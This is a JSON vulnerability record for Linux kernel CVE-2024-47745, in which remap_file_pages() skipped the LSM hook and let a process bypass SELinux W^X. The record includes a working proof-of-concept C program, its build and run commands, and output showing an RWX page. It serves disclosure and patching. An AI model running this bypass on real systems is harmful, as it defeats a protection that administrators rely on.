{"cve":"CVE-2024-47745","nvd":{"published":"2024-10-21T13:15:04.580","modified":"2026-08-04T11:20:47.560","status":"Modified","description":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8},"cwes":["CWE-670"],"references":["https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1","https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89","https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178","https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3","https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"],"products":["debian:debian_linux","linux:linux_kernel"],"source":"nvd","synced_at":"2026-10-19T21:56:33.105311382+00:00"},"epss":{"cve":"CVE-2024-47745","score":0.00284,"percentile":0.20916,"date":"2026-10-31"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}